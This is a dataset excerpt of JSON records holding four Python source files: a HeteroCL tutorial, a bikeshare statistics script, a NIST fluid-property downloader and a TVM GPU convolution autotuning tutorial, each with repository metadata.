{"text": "\"\"\"\nGetting Started\n===============\n\n**Author**: Yi-Hsiang Lai (seanlatias@github)\n\nIn this tutorial, we demonstrate the basic usage of HeteroCL.\n\nImport HeteroCL\n---------------\nWe usually use ``hcl`` as the acronym of HeteroCL.\n\"\"\"\n\nimport heterocl as hcl\n\n##############################################################################\n# Initialize the Environment\n# --------------------------\n# We need to initialize the environment for each HeteroCL application. We can\n# do this by calling the API ``hcl.init()``. We can also set the default data\n# type for every computation via this API. The default data type is **32-bit**\n# integers.\n#\n# .. note::\n#\n#    For more information on the data types, please see\n#    :ref:`sphx_glr_tutorials_tutorial_05_dtype.py`.\n\nhcl.init()\n\n##############################################################################\n# Algorithm Definition\n# --------------------\n# After we initialize, we define the algorithm by using a Python function\n# definition, where the arguments are the input tensors. The function can\n# optionally return tensors as outputs. In this example, the two inputs are a\n# scalar `a` and a tensor `A`, and the output is also a tensor `B`. The main\n# difference between a scalar and a tensor is that *a scalar cannot be updated*.\n#\n# Within the algorithm definition, we use HeteroCL APIs to describe the\n# operations. In this example, we use a tensor-based declarative-style\n# operation ``hcl.compute``. We also show the equivalent  Python code.\n#\n# .. note::\n#\n#    For more information on the APIs, please see\n#    :ref:`sphx_glr_tutorials_tutorial_03_api.py`\n\ndef simple_compute(a, A):\n\n    B = hcl.compute(A.shape, lambda x, y: A[x, y] + a, \"B\")\n    \"\"\"\n    The above API is equivalent to the following Python code.\n\n    for x in range(0, 10):\n        for y in range(0, 10):\n            B[x, y] = A[x, y] + a\n    \"\"\"\n\n    return B\n\n##############################################################################\n# Inputs/Outputs Definition\n# -------------------------\n# One of the advantages of such *modularized algorithm definition* is that we\n# can reuse the defined function with different input settings. We use\n# ``hcl.placeholder`` to set the inputs, where we specify the shape, name,\n# and data type. The shape must be specified and should be in the form of a\n# **tuple**. If it is empty (i.e., `()`), the returned object is a *scalar*.\n# Otherwise, the returned object is a *tensor*. The rest two fields are\n# optional. In this example, we define a scalar input `a` and a\n# two-dimensional tensor input `A`.\n#\n# .. note::\n#\n#    For more information on the interfaces, please see\n#    :obj:`heterocl.placeholder`\n\na = hcl.placeholder((), \"a\")\nA = hcl.placeholder((10, 10), \"A\")\n\n##############################################################################\n# Apply Hardware Customization\n# ----------------------------\n# Usually, our next step is apply various hardware customization techniques to\n# the application. In this tutorial, we skip this step which will be discussed\n# in the later tutorials. However, we still need to build a default schedule\n# by using ``hcl.create_schedule`` whose inputs are a list of inputs and\n# the Python function that defines the algorithm.\n\ns = hcl.create_schedule([a, A], simple_compute)\n\n##############################################################################\n# Inspect the Intermediate Representation (IR)\n# --------------------------------------------\n# A HeteroCL program will be lowered to an IR before backend code generation.\n# HeteroCL provides an API for users to inspect the lowered IR. This could be\n# helpful for debugging.\n\nprint(hcl.lower(s))\n\n##############################################################################\n# Create the Executable\n# ---------------------\n# The next step is to build the executable by using ``hcl.build``. You can\n# define the target of the executable, where the default target is `llvm`.\n# Namely, the executable will be run on CPU. The input for this API is the\n# schedule we just created.\n\nf = hcl.build(s)\n\n##############################################################################\n# Prepare the Inputs/Outputs for the Executable\n# ---------------------------------------------\n# To run the generated executable, we can feed it with Numpy arrays by using\n# ``hcl.asarray``. This API transforms a Numpy array to a HeteroCL container\n# that is used as inputs/outputs to the executable. In this tutorial, we\n# randomly generate the values for our input tensor `A`. Note that since we\n# return a new tensor at the end of our algorithm, we also need to prepare\n# an input array for tensor `B`.\n\nimport numpy as np\n\nhcl_a = 10\nnp_A = np.random.randint(100, size = A.shape)\nhcl_A = hcl.asarray(np_A)\nhcl_B = hcl.asarray(np.zeros(A.shape))\n\n##############################################################################\n# Run the Executable\n# ------------------\n# With the prepared inputs/outputs, we can finally feed them to our executable.\n\nf(hcl_a, hcl_A, hcl_B)\n\n##############################################################################\n# View the Results\n# ----------------\n# To view the results, we can transform the HeteroCL tensors back to Numpy\n# arrays by using ``asnumpy()``.\n\nnp_A = hcl_A.asnumpy()\nnp_B = hcl_B.asnumpy()\n\nprint(hcl_a)\nprint(np_A)\nprint(np_B)\n\n##############################################################################\n# Let's run some test\n\nfor i in range(10):\n    for j in range(10):\n        assert np_B[i][j] == np_A[i][j] + 10\n", "meta": {"hexsha": "0e5c649b993da4a799460d869262067955ca776f", "size": 5533, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/tutorial_01_get_started.py", "max_stars_repo_name": "schelleg/heterocl", "max_stars_repo_head_hexsha": "3bc11024f5392ac9d6f569b08f41dd334d002845", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2019-08-20T02:43:44.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-13T14:26:05.000Z", "max_issues_repo_path": "tutorials/tutorial_01_get_started.py", "max_issues_repo_name": "schelleg/heterocl", "max_issues_repo_head_hexsha": "3bc11024f5392ac9d6f569b08f41dd334d002845", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/tutorial_01_get_started.py", "max_forks_repo_name": "schelleg/heterocl", "max_forks_repo_head_hexsha": "3bc11024f5392ac9d6f569b08f41dd334d002845", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-07-25T21:46:50.000Z", "max_forks_repo_forks_event_max_datetime": "2019-07-25T21:46:50.000Z", "avg_line_length": 35.6967741935, "max_line_length": 80, "alphanum_fraction": 0.5787095608, "include": true, "reason": "import numpy", "num_tokens": 1222, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.07190241069219118}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    while True:\n      city = input(\"\\nWould you like to see data for Chicago, New York City, or Washington?\\n\")\n      city = city.lower()\n      if city not in ('new york city', 'chicago', 'washington'):\n        print(\"Please choose Chicago, New York City, or Washington \")\n        continue\n      else:\n        break\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n    while True:\n      month = input(\"\\nWould you like to filter by month? Choose January, February, March, April, May, June or type 'all'\\n\") \n      month = month.lower()\n      if month not in ('january', 'february', 'march', 'april', 'may', 'june', 'all'):\n        print(\"Please choose January, February, March, April, May, June or type 'all'.\")\n        continue\n      else:\n        break\n\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n    while True:\n      day = input(\"\\nWould you like to filter by day of week? Choose Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday or type 'all'.\\n\")\n      day = day.lower()\n      if day not in ('sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'all'):\n        print(\"Please choose Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday or type 'all' \")\n        continue\n      else:\n        break\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    # load data file into a dataframe\n    df = pd.read_csv(CITY_DATA[city])\n\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    # extract month and day of week from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n\n    # filter by month if applicable\n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        months = ['january', 'february', 'march', 'april', 'may', 'june']\n        month = months.index(month) + 1\n\n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    # filter by day of week if applicable\n    if day != 'all':\n        # filter by day of week to create the new dataframe\n        df = df[df['day_of_week'] == day.title()]\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    common_month = df['month'].mode()[0]\n    print('The most common month:', common_month)\n\n    # TO DO: display the most common day of week\n    common_day = df['day_of_week'].mode()[0]\n    print('The most common day:', common_day)\n\n    # TO DO: display the most common start hour\n    df['hour'] = df['Start Time'].dt.hour\n    common_hour = df['hour'].mode()[0]\n    print('The most common hour:', common_hour)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    common_start_station = df['Start Station'].mode()[0]\n    print('Most commonly used start station:', common_start_station)\n\n    # TO DO: display most commonly used end station\n    common_end_station = df['End Station'].mode()[0]\n    print('Most commonly used end station:', common_end_station)\n\n    # TO DO: display most frequent combination of start station and end station trip\n    df['start end station'] = df['Start Station'] + ' and ' + df['End Station'] \n    common_start_end_station = df['start end station'].mode()[0]\n    print('Most frequent combination of start station and end station trip :', common_start_end_station)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    total_travel_time = df['Trip Duration'].sum()\n    print('Total travel time in seconds : ', total_travel_time)\n\n    # TO DO: display mean travel time\n    mean_travel_time = df['Trip Duration'].mean()\n    print('Mean of travel time in seconds : ', mean_travel_time)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('Calculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    n_user_types = df['User Type'].value_counts()\n    \n    print('Counts of user types:\\n', n_user_types)\n\n    # TO DO: Display counts of gender\n    if 'Gender' in df.columns:\n        n_gender = df['Gender'].value_counts()\n        print('Counts of gender:\\n', n_gender)\n    else:\n        print('There is no information for gender')\n\n    # TO DO: Display earliest, most recent, and most common year of birth\n    if 'Birth Year' in df.columns:\n        earliest_year = int(df['Birth Year'].min())\n        most_recent_year = int(df['Birth Year'].max())\n        most_common_year = int(df['Birth Year'].mode())\n        print('The earliest year of birth: ', earliest_year)\n        print('The most recent year of birth: ', most_recent_year)\n        print('The most common year of birth: ', most_common_year)\n    else:\n        print('There is no information for year of birth')\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n    \ndef display_data(df):\n    index=0\n    user_input=input('would you like to display five rows of raw data? Please type Yes or No.\\n').lower()\n    while user_input in ['yes','y','yep','yea'] and index+5 < df.shape[0]:\n        print(df.iloc[index:index+5])\n        index += 5\n        user_input = input('would you like to display five more rows of raw data? Please type Yes or No.\\n').lower()\n        \ndef main():\n    while True:\n      city, month, day = get_filters()\n      df = load_data(city, month, day)\n\n      time_stats(df)\n      station_stats(df)\n      trip_duration_stats(df)\n      user_stats(df)\n      display_data(df)\n    \n      restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n      if restart.lower() != 'yes':\n          break\n\n\nif __name__ == \"__main__\":\n\tmain()\n\n", "meta": {"hexsha": "9c3e78daa56b26cb2cb295d511973090b9d4294f", "size": 7613, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare.py", "max_stars_repo_name": "MarianaNavia/Explore-US-Bikeshare-Data", "max_stars_repo_head_hexsha": "32cc7353de9492f6e52e03bf96db865fb6628e04", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bikeshare.py", "max_issues_repo_name": "MarianaNavia/Explore-US-Bikeshare-Data", "max_issues_repo_head_hexsha": "32cc7353de9492f6e52e03bf96db865fb6628e04", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare.py", "max_forks_repo_name": "MarianaNavia/Explore-US-Bikeshare-Data", "max_forks_repo_head_hexsha": "32cc7353de9492f6e52e03bf96db865fb6628e04", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2453703704, "max_line_length": 150, "alphanum_fraction": 0.6349665047, "include": true, "reason": "import numpy", "num_tokens": 1909, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.14608724890715238, "lm_q1q2_score": 0.07190241069219117}}
{"text": "from __future__ import division, print_function\nimport sys, os, re\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport pandas as pd # import data tables from NIST and store with pandas\n\n\"\"\"\nGenerate isothermal data from NIST Thermophysical fluid database using Python 3\n\nCopyright (c) 2019 - 2020 Jordan K. Pommerenck\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nusage = '''arguments: dp pmax T FLUID\n  pressures are in bar, T in Kelvin\n\nThis program downloads data from the (NIST) Thermophysical properties of fluid\nsystem database. This data can then be read using python with pandas or the\nusers program of choice.\n\nTypical usage:\n    python3 isothermal-save-gas-csv.py 0.1 2000 298 xenon\n    # The above only needs to be done once\n    python3 isothermal-ads-gas-plot.py xenon 298 5.8 200\n'''\n\n# --- Command line arguments --- #\nif len(sys.argv) != 5:\n    print(usage)\n    exit(1)\npInc = float(sys.argv[1])\npMax = float(sys.argv[2])\nTemperature = float(sys.argv[3])\nfluid = sys.argv[4]\n\nbasename = '%s-%g' % (fluid, Temperature)\ncsvname = basename + '.csv'\n\n# The nist_ids dictionary holds the CAS registry identifiers for a few\n# interesting species from available species (NIST).\nnist_ids = {\n    'water':            'C7732185',\n    'H20':              'C7732185',\n    'nitrogen':         'C7727379',\n    'N2':               'C7727379',\n    'hydrogen':         'C1333740',\n    'H2':               'C1333740',\n    'parahydrogen':     'B5000001',\n    'deuterium':        '7782390',\n    'D2':               '7782390',\n    'oxygen':           '7782447',\n    'O2':               '7782447',\n    'flourine':         'C7782414',\n    'F':                'C7782414',\n    'carbon-monoxide':  'C630080',\n    'CO':               'C630080',\n    'carbon-dioxide':   'C124389',\n    'CO2':              'C124389',\n    'methanol':         'C67561',\n    'CH3OH':            'C67561',\n    'CH4O':             'C67561',\n    'methane':          'C74828',\n    'CH4':              'C74828',\n    'ethane':           'C74840',\n    'C2H6':             'C74840',\n    'ethene':           'C74851',\n    'propane':          'C74986',\n    'C3H8':             'C74986',\n    'propene':          'C115071',\n    'propyne':          'C74997',\n    'cyclopropane':     'C75194',\n    'butane':           'C106978',\n    'isobutane':        'C75285',\n    'pentane':          'C109660',\n    'heptane':          'C142825',\n    'octane':           'C111659',\n    'nonane':           'C111842',\n    'decane':           'C124185',\n    'dodecane':         'C112403',\n    'helium':           'C7440597',\n    'neon':             'C7440019',\n    'argon':            'C7440371',\n    'krypton':          'C7439909',\n    'xenon':            'C7440633',\n    'ammonia':          'C7664417',\n    'benzene':          'C71432',\n    'toluene':          'C108883',\n    'sulfur-dioxide':   'C7446095',\n    'hydrogen-sulfide': 'C7783064',\n}\n\n# Check the fluid against the keys in the dictionary. If the input key is not\n# found then the user is instructed to add the key to the dictionary.\nif (nist_ids.get(fluid)):\n    my_id = nist_ids[fluid]\n    print(f'{fluid} has a CAS registry of {my_id}.')\nelse:\n    raise KeyError(f\"{fluid} is not a valid fluid. You must add name and CAS registry to nist_ids!\")\n\nopen('data/' + csvname, 'w').close() # empty the file I am creating\n\nnum_rows = 500\n\ninc_by = [2, 2, 2, 10/8.0]\ninc_counter = 0\n\np = pInc\n\nwhile p < pMax:\n    print('pressure =', p, 'pressure increment =', pInc)\n    p_final = min(pMax, p+pInc*(num_rows-1))\n    if p == pInc:\n        p_final = min(pMax, p+pInc*(num_rows-2))\n    html_web = \"https://webbook.nist.gov/cgi/fluid.cgi?Action=Load&ID=%s&\" % my_id\n    html_arg = \"Type=IsoTherm&Digits=12&PLow=%g&PHigh=%g&PInc=%g&T=%g\" % (p,\n                                                                          p_final,\n                                                                          pInc,\n                                                                          Temperature)\n    html_units = \"&RefState=DEF&TUnit=K&PUnit=bar&DUnit=mol%2Fl&HUnit=kJ%2Fmol&WUnit=m%2Fs&VisUnit=uPa*s&STUnit=N%2Fm\"\n    # print(html_arg)\n    tables = pd.read_html(html_web + html_arg + html_units)[0]\n    if p != pInc:\n        tables = tables.iloc[1:]\n    tables = tables.iloc[:,:7]\n    saveData = pd.DataFrame(data = tables)\n    saveData.to_csv('data/' + csvname, header=None, index=False, sep=' ', mode='a') # mode = append\n    p = p_final + pInc\n\n    pInc *= inc_by[inc_counter % len(inc_by)]\n    inc_counter += 1\nprint('Saved data as', csvname)\n", "meta": {"hexsha": "232b4a428dd109abaddb6cb5e55a0a37bfa23795", "size": 5524, "ext": "py", "lang": "Python", "max_stars_repo_path": "gas-adsorption/isothermal-save-gas-csv.py", "max_stars_repo_name": "SimonEnsemble/thesis-pommerenck-1", "max_stars_repo_head_hexsha": "c546b981b0fa7cebbe80e32d45dee5e8714ea89c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-24T00:42:10.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-24T00:42:10.000Z", "max_issues_repo_path": "gas-adsorption/isothermal-save-gas-csv.py", "max_issues_repo_name": "SimonEnsemble/thesis-pommerenck-1", "max_issues_repo_head_hexsha": "c546b981b0fa7cebbe80e32d45dee5e8714ea89c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gas-adsorption/isothermal-save-gas-csv.py", "max_forks_repo_name": "SimonEnsemble/thesis-pommerenck-1", "max_forks_repo_head_hexsha": "c546b981b0fa7cebbe80e32d45dee5e8714ea89c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-03-23T18:42:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-23T18:42:16.000Z", "avg_line_length": 36.8266666667, "max_line_length": 118, "alphanum_fraction": 0.5908761767, "include": true, "reason": "import numpy", "num_tokens": 1559, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218812082327174, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.0719024085158529}}
{"text": "\"\"\"\nTuning High Performance Convolution on NVIDIA GPUs\n=========================================================================\n**Author**: `Lianmin Zheng <https://https://github.com/merrymercy>`_\n\nThis is an advanced tutorial for writing high performance tunable template for \nNVIDIA GPU. By running auto-tuner on this template, we can outperform the\nvendor provided library CuDNN in many cases.\n\"\"\"\n\n######################################################################\n# Install dependencies\n# --------------------\n# To use autotvm package in tvm, we need to install some extra dependencies.\n# (change \"3\" to \"2\" if you use python2):\n#\n# .. code-block:: bash\n#\n#   pip3 install --user psutil xgboost tornado\n#\n# To make tvm run faster in tuning, it is recommended to use cython\n# as FFI of tvm. In the root directory of tvm, execute\n#\n# .. code-block:: bash\n#\n#   pip3 install --user cython\n#   sudo make cython3\n#\n# Now return to python code. Import packages.\n\nimport logging\nimport sys\nimport numpy as np\n\nimport tvm\nfrom tvm import topi\nfrom tvm.topi import cuda\n\nfrom tvm import autotvm\n\n######################################################################\n# Step 1:  Define the search space\n# --------------------------------\n# There are plenty of useful schedule primitives in tvm. You can also find \n# some tutorials that describe them in more details, such as \n# (1). :ref:`opt-conv-gpu`\n# (2). `Optimizing DepthwiseConv on NVIDIA GPU <https://tvm.ai/2017/08/22/Optimize-Deep-Learning-GPU-Operators-with-TVM-A-Depthwise-Convolution-Example.html>`_\n# \n# However, their implementations are manually tuned for some special input\n# shapes. In this section, we build a large enough space to cover\n# the techniques used in these tutorials. Then we rely on the efficient auto-tuner\n# to search through this space and pick some good configurations.\n# \n# If you are familiar with writing cuda schedule, you can find the following\n# template is very general. Actually this template can be easily modified \n# to tune other operators such as depthwise convolution and gemm.\n# In order to fully understand this template, you should be familiar with\n# the schedule primitives and auto tuning API. You can refer to the above\n# tutorials and :doc:`autotvm tutorial <tune_simple_template>`\n#\n# It is worth noting that the search space for a conv2d operator\n# can be very large (at the level of 10^9 for some input shapes)\n#\n\n# to run this, first:\n# export PATH=/usr/local/cuda-10.1/nvvm/libdevice:$PATH\n\n@autotvm.template(\"conv2d_nhwc_tensorcore_test\")\ndef conv2d_nhwc_tensorcore_test(N, H, W, CO, CI, KH, KW, stride, padding):\n    data = tvm.te.placeholder((N, H, W, CI), name='data', dtype=\"float16\")\n    kernel = tvm.te.placeholder((KH, KW, CI, CO), name='kernel', dtype=\"float16\")\n    cfg = autotvm.get_config()\n\n    conv = topi.cuda.nhwc_tensorcore_cuda(\n        cfg, data, kernel, stride, padding, dilation=1, out_dtype='float16')\n    s = tvm.te.create_schedule([conv.op])\n    topi.cuda.schedule_nhwc_tensorcore_cuda(cfg, s, conv)\n\n    return s, [data, kernel, conv]\n\n######################################################################\n# Step 2:  Search through the space\n# ---------------------------------\n# We pick the last layer on resnet as test case.\n# Since our space is very large, :code:`XGBoostTuner` is most suitable\n# for our case. Here we only do 20 trials for demonstration.\n# In practice, making 1000 trials usually can find some good kernels\n# for this template\n\n# logging config (for printing tuning log to screen)\nlogging.getLogger('autotvm').setLevel(logging.DEBUG)\nlogging.getLogger('autotvm').addHandler(logging.StreamHandler(sys.stdout))\n\n\n# the last layer in yolo\ndef run(name, N, H, W, CO, CI, KH, KW, stride, pad):\n    N, H, W, CO, CI, KH, KW, strides, padding = N, H, W, CO, CI, KH, KW, (stride, stride), (pad, pad)\n    task = autotvm.task.create(\"conv2d_nhwc_tensorcore_test\",\n                               args=(N, H, W, CO, CI, KH, KW, strides, padding),\n                               target='cuda')\n    print(task.config_space)\n    logfile = \"conv2d_\" + name + \".log\"\n\n    # Use local gpu, measure 10 times for every config to reduce variance\n    # The timeout of compiling a program is 10 seconds, the timeout for running is 4 seconds\n    measure_option = autotvm.measure_option(\n        builder=autotvm.LocalBuilder(),\n        runner=autotvm.LocalRunner(repeat=3, min_repeat_ms=100, timeout=4)\n    )\n\n    # Begin tuning, log records to file `conv2d.log`\n    # During tuning we will also try many invalid configs, so you are expected to\n    # see many error reports. As long as you can see non-zero GFLOPS, it is okay.\n    tuner = autotvm.tuner.XGBTuner(task)\n    tuner.tune(n_trial=1000,\n               measure_option=measure_option,\n               callbacks=[autotvm.callback.log_to_file(logfile)])\n\n    #########################################################################\n    # Finally we can inspect the best config from log file, check correctness,\n    # and measure running time.\n\n    # inspect the best config\n    dispatch_context = autotvm.apply_history_best(logfile)\n    best_config = dispatch_context.query(task.target, task.workload)\n    print(\"\\nBest config:\")\n    print(best_config)\n\n    # apply history best from log file\n    with autotvm.apply_history_best(logfile):\n        with tvm.target.create(\"cuda\"):\n            s, arg_bufs = conv2d_nhwc_tensorcore_test(N, H, W, CO, CI, KH, KW, strides, padding)\n            func = tvm.build(s, arg_bufs)\n\n    # check correctness\n    a_np = np.random.uniform(size=(N, H, W, CI)).astype(np.float16)\n    w_np = np.random.uniform(size=(KH, KW, CI, CO)).astype(np.float16)\n    c_np = np.random.uniform(size=(N, (H + 2 * pad - KH) // stride + 1, (W + 2 * pad - KW) // stride + 1, CO)).astype(np.float16)\n    # c_np = conv2d_nchw_python(a_np, w_np, strides, padding)\n\n    ctx = tvm.gpu()\n    a_tvm = tvm.nd.array(a_np, ctx=ctx)\n    w_tvm = tvm.nd.array(w_np, ctx=ctx)\n    c_tvm = tvm.nd.array(c_np, ctx=ctx)\n    # c_tvm = tvm.nd.empty((N, CO, (H + 2 * pad - KH) // stride + 1, (W + 2 * pad - KW) // stride + 1), ctx=ctx)\n    # func(a_tvm, w_tvm, c_tvm)\n\n    # tvm.testing.assert_allclose(c_np, c_tvm.asnumpy(), rtol=1e-2)\n\n    # Evaluate running time. Here we choose a large repeat number (400) to reduce the noise\n    # and the overhead of kernel launch. You can also use nvprof to validate the result.\n    evaluator = func.time_evaluator(func.entry_name, ctx, number=400, min_repeat_ms=500)\n    cost = evaluator(a_tvm, w_tvm, c_tvm).mean * 1e3\n    # print('Time cost of this operator: %f' % cost)\n    # with open(\"autotvm_conv_nhwc.txt\", \"a\") as f:\n    #     f.write(\"name, {}\\n\".format(cost))\n    return cost\n\n\nres18_shapes_b1 = [\n    # resnet-18\n    (16, 3, 224, 224, 64, 3, 7, 7, 1, 2, 3, 1, 1),  # conv1  0\n    (16, 64, 56, 56, 64, 64, 3, 3, 1, 1, 1, 1, 1),  # conv2   1\n    (16, 64, 56, 56, 64, 64, 1, 1, 1, 1, 0, 1, 1),  # conv3   2\n    (16, 64, 56, 56, 128, 64, 3, 3, 1, 2, 1, 1, 1),  # conv4   3\n    (16, 64, 56, 56, 128, 64, 1, 1, 1, 2, 0, 1, 1),  # conv5   4\n    (16, 128, 28, 28, 128, 128, 3, 3, 1, 1, 1, 1, 1),  # conv6   5\n    (16, 128, 28, 28, 256, 128, 3, 3, 1, 2, 1, 1, 1),  # conv7   6\n    (16, 128, 28, 28, 256, 128, 1, 1, 1, 2, 0, 1, 1),  # conv8   7\n    (16, 256, 14, 14, 256, 256, 3, 3, 1, 1, 1, 1, 1),  # conv9   8\n    (16, 256, 14, 14, 512, 256, 3, 3, 1, 2, 1, 1, 1),  # conv10  9\n    (16, 256, 14, 14, 512, 256, 1, 1, 1, 2, 0, 1, 1),  # conv11  10\n    (16, 512, 7, 7, 512, 512, 3, 3, 1, 1, 1, 1, 1),  # conv12  11\n    # (256, 512, 7, 7, 512, 512, 1, 1, 1, 1, 0, 1, 1)\n]\n\n\nif __name__ == \"__main__\":\n    costs = []\n    for i, args in enumerate(res18_shapes_b1):\n        name = \"resnet-18-layer-\" + str(i+1)\n        N, CI, H, W, CO, _, KW, KH, _, stride, pad, _, _ = args\n        N = (N + 15) // 16 * 16\n        CI = (CI + 15) // 16 * 16\n        CO = (CO + 15) // 16 * 16\n        try:\n            cost = run(name, N, H, W, CO, CI, KH, KW, stride, pad)\n        except Exception as e:\n            print(e, flush=True)\n            cost = float(\"inf\")\n        costs.append(cost)\n    print(\"The costs:\")\n    for cost in costs:\n        print(cost)\n", "meta": {"hexsha": "b95012a2699ec093c513a8d46aedb4b47434916f", "size": 8161, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/autotvm/tune_conv2d_tensorcore_nhwc_fp16.py", "max_stars_repo_name": "QinHan-Erin/AMOS", "max_stars_repo_head_hexsha": "634bf48edf4015e4a69a8c32d49b96bce2b5f16f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 22, "max_stars_repo_stars_event_min_datetime": "2022-03-18T07:29:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T14:54:32.000Z", "max_issues_repo_path": "tutorials/autotvm/tune_conv2d_tensorcore_nhwc_fp16.py", "max_issues_repo_name": "QinHan-Erin/AMOS", "max_issues_repo_head_hexsha": "634bf48edf4015e4a69a8c32d49b96bce2b5f16f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/autotvm/tune_conv2d_tensorcore_nhwc_fp16.py", "max_forks_repo_name": "QinHan-Erin/AMOS", "max_forks_repo_head_hexsha": "634bf48edf4015e4a69a8c32d49b96bce2b5f16f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-03-18T08:26:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-20T06:02:48.000Z", "avg_line_length": 41.8512820513, "max_line_length": 159, "alphanum_fraction": 0.6110770739, "include": true, "reason": "import numpy", "num_tokens": 2571, 